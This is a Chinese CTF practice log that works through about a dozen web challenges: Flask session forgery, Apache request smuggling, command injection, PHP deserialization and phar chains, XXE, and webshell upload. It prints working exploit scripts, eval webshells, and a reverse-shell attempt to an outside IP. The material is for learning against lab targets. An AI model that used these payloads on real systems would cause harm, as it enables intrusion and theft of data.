刷题记录(持续更新)

1.[NSSRound#13 Basic]flask?jwt?

flask的伪造,主要还是flask_session_cookies_master的使用

注册账号

1
AsaL1n/666

访问得到session

使用工具解码

1
2
3
4
5
flask_session_cookie_manager3.py decode -c '.eJwlzjsOwjAMANC7ZGawHcd1ehnk-CNYWzoh7g4S7wTv3e515Plo--u48tbuz2h7c8bQLsYmxFQTaaiDWWBMh6224m3mAO28Yo5VACgQnWZorglk4cku5pwusSoi3SE7CnWLQlYiimVYJFs3LcYxpmqJa1q1X-Q68_hvqH2-8QYwUQ.ZJbLpQ.mQofkly52NaaUabvgE5e7vPVSL0'



b'{"_fresh":true,"_id":"c41d836a4a6242f91258c0aad1d9c07f7f479e50834bd95bf00160d329d8eb902adce4c6ac4ec6dbfddecc0e31623adf148222dba1f2673a8f4155988f6c8eaf","_user_id":"2"}'

加密,密钥在修改密码的地方

1
2
3
4
flask_session_cookie_manager3.py encode -s 'th3f1askisfunny' -t "{'_fresh':'true','_id':'c41d836a4a6242f91258c0aad1d9c07f7f479e50834bd95bf00160d329d8eb902adce4c6ac4ec6dbfddecc0e31623adf148222dba1f2673a8f4155988f6c8eaf','_user_id':'1'}"


.eJwlzjsOwjAMANC7ZGawHcd1uAxy_BGsLZ0QdwfE-Lb3arfa87i3a3vuZ7ZLuz3iC2cM7WJsQkw1kYY6mAXGdNhqK95mDtDOK-ZYBYAC0WmG5ppAFp7sYs7pEqsi0h2yo1C3KGQloliGRbJ102IcY6qWuKbVL3Ieuf832N4fI0YwlA.ZJbNxg.mlyXN99cSeWkcV431shr1JM4uOU

问题:

flask的使用和报错解决(席八)

1.执行指令集合:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
usage: flask_session_cookie_manager{2,3}.py encode [-h] -s <string> -t <string>

optional arguments:
-h, --help show this help message and exit
-s <string>, --secret-key <string>
Secret key
-t <string>, --cookie-structure <string>
Session cookie structure、



usage: flask_session_cookie_manager{2,3}.py decode [-h] [-s <string>] -c <string>

optional arguments:
-h, --help show this help message and exit
-s <string>, --secret-key <string>
Secret key
-c <string>, --cookie-value <string>
Session cookie value

使用中出现的问题

1.弹出

quote>

冒号没有闭合的问题,闭合就好了

2.输入的加密的时候的-s选项,就算没有密钥也必须要加上

3.错误“usage: flask_session_cookie_manager3.py [-h] {encode,decode} …”

这里的处理方式是-s和-t都需要添加“”作为参数包裹

4.错误“Encoding error] malformed node or string on line 1: <ast.Name object at 0x7f755d8a04c0”

额是-t参数里面单双引号的问题

1
2
3
4
5
6
7
"{'_fresh':'true','_id':'c41d836a4a6242f91258c0aad1d9c07f7f479e50834bd95bf00160d329d8eb902adce4c6ac4ec6dbfddecc0e31623adf148222dba1f2673a8f4155988f6c8eaf','_user_id':'2'}"
(正确)


'{"_fresh":'true',"_id":"c41d836a4a6242f91258c0aad1d9c07f7f479e50834bd95bf00160d329d8eb902adce4c6ac4ec6dbfddecc0e31623adf148222dba1f2673a8f4155988f6c8eaf","_user_id":"2"}'
(报错)

2.[NSSRound#13 Basic]信息收集

(好玩好玩好玩好玩)

开始用dirsearch去扫描

扫出来

1
2
3
4
index.php/login
/cgi-bin/testcgi
/cgi/bin/printenv
index.php

index存在文件包含

1
2
3
4
5
6
7
8
9
<?php
$file = $_GET['file'];
if(isset($file)){
echo file_get_contents($file);
}
else{
highlight_file(__FILE__);
}
?>

读文件可以读出index.php和/etc/passwd

尝试写文件

1
2
3
?file=php://input
POST发包
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

好像不能生成shell.php的文件,可能是没有写文件权限(或者是奇奇怪怪的问题)

到这里就卡住了

nikto扫一扫,有个trace的OVB

抓包得到apache2.455的版本,查查有没有成型的cve

还真有,靠

CVE-2023-25690 Apache HTTP Server 请求走私漏洞

参考这篇文章

CVE-2023-25690 Apache HTTP Server 请求走私漏洞 分析与利用_黑客技术 (hackdig.com)

读取Apache配置文件

RewriteRule “^/nssctf/(.*)” “http://backend-server:8080/index.php?id=$1“ [P] ProxyPassReverse “/nssctf/“ “http://backend-server:8080/

制造一个走私包

http走私

前端服务器负责安全控制,只有被允许的请求才能转发给后端服务器,而后端服务器无条件的相信前端服务器转发过来的全部请求,并对每一个请求都进行响应。在这种情况下可以利用HTTP请求走私,将无法访问的请求走私给后端服务器以获得响应。

前后端对web请求的分析方式不同,可能存在两个不同的分析方式,在对http请求的过程中存在问题

详情看详细笔记+实验:HTTP请求走私 - FreeBuf网络安全行业门户

这里尝试访问一个不存在的/abc端口,走私一个访问flag.txt

1
2
3
GET /nssctf/abc%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0a%0d%0aGET%20/flag.txt HTTP/1.1

前半是一个404,后半走私了一个http请求,成功得到flag

3.[NSSRound#13 Basic]ez_factors

/factors/后面的字符被作为分解质因数数据

可以进行命令执行

尝试1|env,得到奇怪的数字

过滤了回显端口,只会回显数字和;

蛮简单的一道题目,出了好多问题

/对路由的破坏和绕过

题目告诉我flag在/flag上面,当我使用尝试cat /flag的时候,会破坏浏览器路由,无法直接传值给后端,解决方法是

1
cd ..;cd ..;cd ..;cd ..;cd ..;cat flag

反弹shell的时候/也会破坏路由,可以base64绕过

xxxxxxxx|base64 -d

反弹shell小小总结

这题想要反弹shell,怎么弹都不不行,md自己kali也弹不到vps上面,牛魔的

1.常见反弹shell方式

反弹Shell,看这一篇就够了-腾讯云开发者社区-腾讯云 (tencent.com)

很全了,懒得总结

2.反弹不成功的问题

1
错误1.bash: /dec/tcp/47.120.0.245/2333: 没有那个文件或目录

使用kali检验自己的vps是不是坏了的时候发现的

kali用的是ubuntu,而ubuntu默认是没开bash的网络重定向选项,也就是–enable-net-redirections选项,只要把这个选项加上就好了

1
2
3
apt-get update &> /dev/null
apt-get -y install gcc make &> /dev/null
./configure --enable-net-redirections

执行开启就好了

1
错误2.crul尝试3232端口,没有监听到东西

防火墙没开,当然curl没反应

1
2
ufw status(乌班图)//查看防火墙状态
ufw allow 3232//开放3232端口

这题使用od解答

od -t d1 flag得到8进制,解码就好了

od用法

od 命令用于将指定文件内容以八进制、十进制、十六进制、浮点格式或 ASCII 编码字符方式显示,通常用于显示或查看文件中不能直接显示在终端的字符。od 命令系统默认的显示方式是八进制

[(7条消息) Linux od 命令详细介绍及用法实例_od命令用法_Reverse-xiaoyu的博客-CSDN博客](https://blog.csdn.net/qq_40085614/article/details/119532314#:~:text=Linux od 命令详细介绍及用法实例 1 1.功能 od 命令用于将指定文件内容以八进制、十进制、十六进制、浮点格式或 ASCII,for file offsets. … 4 4.用法示例 (1)设置第一列偏移地址以十进制显示。 )

4.[MoeCTF 2022]ezphp

短小但是很有益

上来给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 <?php
highlight_file('source.txt');
echo "<br><br>";
$flag = 'xxxxxxxx';
$giveme = 'can can need flag!';
$getout = 'No! flag.Try again. Come on!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($giveme);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($getout);
}
foreach ($_POST as $key => $value) {
$$key = $value;
}
foreach ($_GET as $key => $value) {
$$key = $$value;
}
echo 'the flag is : ' . $flag;
?>

这题一步一步执行下来,会直接给出flag

首先如果没有post和get就会直接exit弹出

如果post或者get一个值等于flag的就会exit

重点在后面的foreach函数里面

foreach函数 $(foreach VAR,LIST,TEXT)

函数功能:这个函数的工作过程是这样的:如果需要(存在变量或者函数的引用),首先展开变量“VAR”和“LIST”的引用;而表达式“TEXT”中的变量引用不展开。执行时把“LIST”中使用空格分割的单词依次取出赋值给变量“VAR”,然后执行“TEXT”表达式。重复直到“LIST”的最后一个单词(为空时结束)。“TEXT”中的变量或者函数引用在执行时才被展开,因此如果在“TEXT”中存在对“VAR”的引用,那么“VAR”的值在每一次展开式将会到的不同的值。

这里调用了$_GET和 $_POST 两个超级全局变量,就是对我们传入的值转换为键值对储存

1
2
传入a=flag
会转换为{$key=a:$value:flag}两个键值对

后面定义了一个$$key变量等于$value

就是转换为$a=flag。

如果按照要求,传入一个flag值,这个值的大小会吧原来的$flag覆盖掉,导致没有flag

注意到$$key = $$value;

这里可以使用变量覆盖

使用一个$b先把flag的值储存下来,然后再重新赋值给flag

1
运行即$$b=$flag;$flag=$b

传入a=flag&flag=a

变量覆盖,好玩

5.NSSCTFRound#7 O0O

昏过去啦,但是学了很多

打开靶机,nothing here

常规的dirsearch扫描,扫描出一个.DS_Store的文件

.DS_Store泄露

.DS_Store是Mac OS保存文件夹的自定义属性的隐藏文件,如文件的图标位置或背景色,相当于Windows的desktop.ini。

使用工具 https://github.com/lijiejie/ds_store_exp

python ds_store_exp.py url/.DS_Store

下载了index.php和NsScTf.php文件

以下是源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
 <?php
error_reporting(0);
highlight_file(__FILE__);

$NSSCTF = $_GET['NSSCTF'] ?: '';
$NsSCTF = $_GET['NsSCTF'] ?: '';
$NsScTF = $_GET['NsScTF'] ?: '';
$NsScTf = $_GET['NsScTf'] ?: '';
$NSScTf = $_GET['NSScTf'] ?: '';
$nSScTF = $_GET['nSScTF'] ?: '';
$nSscTF = $_GET['nSscTF'] ?: '';

if ($NSSCTF != $NsSCTF && sha1($NSSCTF) === sha1($NsSCTF)) {
if (!is_numeric($NsScTF) && in_array($NsScTF, array(1))) {
if (file_get_contents($NsScTf) === "Welcome to Round7!!!") {
if (isset($_GET['nss_ctfer.vip'])) {
if ($NSScTf != 114514 && intval($NSScTf, 0) === 114514) {
$nss = is_numeric($nSScTF) and is_numeric($nSscTF) !== "NSSRound7";
if ($nss && $nSscTF === "NSSRound7") {
if (isset($_POST['submit'])) {
$file_name = urldecode($_FILES['file']['name']);
$path = $_FILES['file']['tmp_name'];
if(strpos($file_name, ".png") == false){
die("NoO0P00oO0! Png! pNg! pnG!");
}
$content = file_get_contents($path);
$real_content = '<?php die("Round7 do you like");'. $content . '?>';
$real_name = fopen($file_name, "w");
fwrite($real_name, $real_content);
fclose($real_name);
echo "OoO0o0hhh.";
} else {
die("NoO0oO0oO0!");
}
} else {
die("N0o0o0oO0o!");
}
} else {
die("NoOo00O0o0!");
}
} else {
die("Noo0oO0oOo!");
}
} else {
die("NO0o0oO0oO!");
}
} else {
die("No0o0o000O!");
}
} else {
die("NO0o0o0o0o!");
}

(会死)

一个一个来看

1
2
1.if ($NSSCTF != $NsSCTF && sha1($NSSCTF) === sha1($NsSCTF))
sha1碰撞 这里直接使用数组绕过 null===null
1
2
2.   if (!is_numeric($NsScTF) && in_array($NsScTF, array(1)))
判断书不是数字,然后判断在不在array里面

这里需要使用%00截断

%00截断

0x00,%00,/00之类的截断,都是一样的,只是不同表示而已

%00是null的编码

1%00不是数字,但是in_array函数里面变成了1(null),null被去掉了,于是就绕过了这一层

1
2
3
4
5
6
7
8
9
10
3. if (file_get_contents($NsScTf) === "Welcome to Round7!!!") 
直接data伪协议就好data://text/plain,Welcome to Round7!!!
4.if (isset($_GET['nss_ctfer.vip']))
传值变量名字里面_是非法的,可以使用[,传入后解析成_
5. if ($NSScTf != 114514 && intval($NSScTf, 0) === 114514)
intval 默认转化成10进制,这里可以114514e1绕过
6. $nss = is_numeric($nSScTF) and is_numeric($nSscTF) !== "NSSRound7";
if ($nss && $nSscTF === "NSSRound7")
这里nss直接传值成1,后面的变量nSscTF在is_numeric函数转化之后是01所以没啥影响直接传NSSRound就好

接下来代码分析

1
2
3
4
5
6
7
8
9
10
 if (isset($_POST['submit'])) {
$file_name = urldecode($_FILES['file']['name']);
$path = $_FILES['file']['tmp_name'];
if(strpos($file_name, ".png") == false){
die("NoO0P00oO0! Png! pNg! pnG!");}
$content = file_get_contents($path);
$real_content = '<?php die("Round7 do you like");'. $content . '?>';
$real_name = fopen($file_name, "w");
fwrite($real_name, $real_content);
fclose($real_name);

随便传一个submit的值

然后会将上传文件的名字和后缀进行一次url解码,然后path变量记录上传文件

上传的内容会被添加到 ‘<?php die(“Round7 do you like”);’后面

path存在伪协议利用的点

思路是先上传一个base64加密的恶意语句,然后使用base64解密文件,让前面的die函数无法正常执行

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import base64
import re
url =‘http://node2.anna.nssctf.cn:28994/Ns_SCtF.php?NSSCTF[]=1&NsSCTF[]=2&NsScTF=1%00&NsScTf=data://text/plain,Welcome%20to%20Round7!!!&nss[ctfer.vip=1&NSScTf=114514e1&nSscTF=NSSRound7&nSScTF=1
data={‘submit’:1}
file1=str(base64.b64encode(b"<?php @eval($_POST[‘a’]);“))
file2=re.findall(r"b’(.*?)'”,file1)[0]
text1={‘file’:(‘3.png.php’,f"a{file2}“)}
text2={‘flie’:(‘%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%64%65%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%31%2e%70%6e%67%2e%70%68%70’, f"aaa{file2}”)}
a1=requests.post(url,data=data,files=text1)
if(a1.status_code==200):print(‘200’)
a2=requests.post(url,data=data,files=text2)
if(a2.status_code==200):print(‘200’)

6.[HNCTF 2022 WEEK3]ssssti

fenjing一把梭算了

1
python -m fenjing crack --url http://node2.anna.nssctf.cn:28975/ --method GET --inputs name

7.[HNCTF 2022 WEEK2]Canyource

(还是先提升自己的代码审计功底罢(悲))

上来给了源码

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);}
else
die('nonono');}
else
echo('please input code');
?>

第一部分是get传参数传一个code,过滤了一堆

重点在后面的

1
';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code']))

正则表达式模式’/[^\W]+((?R)?)/‘的含义是匹配一个或多个非单词字符,后面跟着一个括号和可选的递归子模式。

加入传入a(a),在递归的过程中,将a()替换为空,过滤结果是a

简单的无参数rce

eval(end(current(get_defined_vars())));&shekk=system(%27cat%20f*%27);

之前博客说过,就不细说了

8.[NCTF 2019]Fake XML cookbook

简单的xml注入

f12能看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}

var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});

在这里

1
"<user><username>" + username + "</username><password>" + password + "</password></user>"; 

储存数据之后发包给”doLogin.php”,

这里存在xxe的问题

1
2
3
4
<!DOCTYPE root[
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">//文件路径
]>
<root><name>&xxe;</name></root>

直接file读取文件,一下子就读取出来了,下机

9[CISCN 2019华北Day1]Web1

正常注册,随便上传个文件,下载文件存在任意文件读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /download.php HTTP/1.1
Host: node2.anna.nssctf.cn:28904
Content-Length: 32
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://node2.anna.nssctf.cn:28904
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://node2.anna.nssctf.cn:28904/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=a2250543f2a5b83205b9b194f9db8d79
Connection: close

filename=/var/www/html/index.php

任意文件下载

这里读文件的时候使用的是绝对路径

/var/www/html/index.php

也可以使用相对路径

这里在download.php路劲下,使用../退回到上层

../../index.php

以下是读出来的

index.php

1
2
3
4
5
6
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

download.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}

public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function __destruct() {
$this->db->close();
}
}

class FileList {
private $files;
private $results;
private $funcs;

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

class File {
public $filename;

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name() {
return basename($this->filename);
}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename);
}
}
?>

delete.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

include "class.php";

if (isset($_FILES["file"])) {
$filename = $_FILES["file"]["name"];
$pos = strrpos($filename, ".");
if ($pos !== false) {
$filename = substr($filename, 0, $pos);
}

$fileext = ".gif";
switch ($_FILES["file"]["type"]) {
case 'image/gif':
$fileext = ".gif";
break;
case 'image/jpeg':
$fileext = ".jpg";
break;
case 'image/png':
$fileext = ".png";
break;
default:
$response = array("success" => false, "error" => "Only gif/jpg/png allowed");
Header("Content-type: application/json");
echo json_encode($response);
die();
}

if (strlen($filename) < 40 && strlen($filename) !== 0) {
$dst = $_SESSION['sandbox'] . $filename . $fileext;
move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
$response = array("success" => true, "error" => "");
Header("Content-type: application/json");
echo json_encode($response);
} else {
$response = array("success" => false, "error" => "Invaild filename");
Header("Content-type: application/json");
echo json_encode($response);
}
}
?>

phar的思路还是不清晰,还得多思考

在class的file类里,delect()函数使用了unlink()函数,故存在phar反序列化的可能。

寻找尝试

注意到

user类里面存在$this->db->close();

本来应该是想要调用mysql语句,但是在file类里面也存在close(),可以读取任意文件

filelist类里面有call

1
2
3
4
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();

注意到

user()destruct定义了一个db的全局变量,可以覆写db为其他类,然后调用close,触发call,然后传入file的close类里面然后读取flag

猜测可能是flag.txt

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class User {
public $db;
}
class File {
public $filename;
public function __construct($filename){
$this->filename=$filename;
}
}

class FileList {
private $files;
private $results;
private $funcs;
public function __construct(){
$this->files=array();
$a=new File('/flag.txt');
array_push($this->files,$a);
}
}
$a=new User();
$b=new FileList();
$a->db=$b;
$phar = new Phar('web1.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($a);
$phar -> stopBuffering();
?>

改后缀上传,然后在删除页面抓包,phar伪协议读出flag

10.[羊城杯 2020]easyphp

打开就有源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php 
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>

具体内容就是传入文件名字,然后文件内容会被输出在文件,加上一句hellow world

直接试着写一个🐎

ok,失败了,悲

这里直接输出了,写的可执行内容被注释掉了

这里可能是后台设置了对php文件的解析,这里只能解析index.php

但是index没办法被修改,卡住了,搜搜题看看

查到了

php_value auto_append_file

如果需要将文件require到所有页面的顶部与底部。

第一种方法:在所有页面的顶部与底部都加入require语句。
例如:

1
2
3
require(``'header.php'``);
//页面正文内容部分
require(``'footer.php'``);

但这种方法如果需要修改顶部或底部require的文件路径,则需要修改所有页面文件。而且需要每个页面都加入require语句,比较麻烦。

第二种方法:使用auto_prepend_file与auto_append_file在所有页面的顶部与底部require文件。

php.ini中有两项:

auto_prepend_file 在页面顶部加载文件
auto_append_file 在页面底部加载文件

使用这种方法可以不需要改动任何页面,当需要修改顶部或底部require文件时,只需要修改auto_prepend_file与auto_append_file的值即可。

在这里可以加载文件

在文件底部写入#

#是.hatccess文件特有的写入形式

使用

php_value auto_prepend_file .htaccess

写入.htaccess文件内,此时会显示.htaccess文件的内容,输出

绕过这里的过滤可以使用\去绕过

[UUCTF]ezpop

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
//flag in flag.php
error_reporting(0);
class UUCTF{
public $name,$key,$basedata,$ob;
function __construct($str){
$this->name=$str;
}
function __wakeup(){
if($this->key==="UUCTF"){
$this->ob=unserialize(base64_decode($this->basedata));
}
else{
die("oh!you should learn PHP unserialize String escape!");
}
}
}
class output{
public $a;
function __toString(){
$this->a->rce();
}
}
class nothing{
public $a;
public $b;
public $t;
function __wakeup(){
$this->a="";
}
function __destruct(){
$this->b=$this->t;
die($this->a);
}
}
class youwant{
public $cmd;
function rce(){
eval($this->cmd);
}
}
$pdata=$_POST["data"];
if(isset($pdata))
{
$data=serialize(new UUCTF($pdata));
$data_replace=str_replace("hacker","loveuu!",$data);
unserialize($data_replace);
}else{
highlight_file(__FILE__);
}
?>

给了源码,传入一个data=尝试下

O:5:”UUCTF”:4:{s:4:”name”;s:3:”exp”;s:3:”key”;N;s:8:”basedata”;N;s:2:”ob”;N;}

传入的部分来到了exp这里

分析类里面的联系

nothing的die函数会返还一个字符串触发tostring();

然后触发rce();

这里的wakeup()方法会过滤a传入的东西

由于php版本为7.4,不能修改成员数量去绕过,这里选择指针

1
a=&b

类似b为a的指针,后面修改b的时候会一并修改a

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php 
class UUCTF{
public $name,$key,$basedata,$ob;
function __construct($str){
$this->name=$str;
}
function __wakeup(){
if($this->key==="UUCTF"){
$this->ob=unserialize(base64_decode($this->basedata));
}
else{
die("oh!you should learn PHP unserialize String escape!");
}
}
}
class output{
public $a;
function __toString(){
$this->a->rce();
}
}
class nothing{
public $a;
public $b;
public $t;
}
class youwant{
public $cmd;
function rce(){
eval($this->cmd);
}
}
$data=serialize(new UUCTF("exp"));
//$nothing=new nothing();
//$nothing->a="echo ('die')";
//serialize($nothing);
echo $data;
$exp=new nothing();
$exp->a=&$exp->b;
$exp->t=new output();
$exp->t->a=new youwant();
$exp->t->a->cmd="system('cat flag.php');";
echo "\ ";
echo (serialize($exp));
?>

然后没法直接传入,这里需要编码base64,转换

O:5:”UUCTF”:4:{s:4:”name”;s:3:”exp”;s:3:”key”;N;s:8:”basedata”;N;s:2:”ob”;N;}

O:7:”nothing”:3:{s:1:”a”;N;s:1:”b”;R:2;s:1:”t”;O:6:”output”:1:{s:1:”a”;O:7:”youwant”:1:{s:3:”cmd”;s:23:”system(‘cat flag.php’);”;}}}

对照我们的payload和直接输出的data

插入点是exp的地方

“;s:3:”key”;N;s:8:”basedata”:s:176:”Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19”;s:2:”ob”;N;}”

这里需要用字符串逃逸

php反序列化字符串逃逸

反序列化的过程是有一定识别范围的,在这个范围之外的字符都会被忽略,不影响反序列化的正常进行。而且可以看到反序列化字符串都是以";}结束的,那如果把";}添入到需要反序列化的字符串中(除了结尾处),就能让反序列化提前闭合结束,后面的内容就相应的丢弃了。

反序列化的时候php会根据s所指定的字符长度去读取后边的字符。如果指定的长度错误则反序列化就会失败

可以反序列化类中不存在的元素

$data_replace=str_replace(“hacker”,”loveuu!”,$data);

这里运行后会让每一个hacker变成loveuu!

这里可以构造特定长度恶意语句,将正常的序列化数据挤出原定的pdata内,从而被恶意解析

一个hacker可以多一个字符串

1
2
3
4
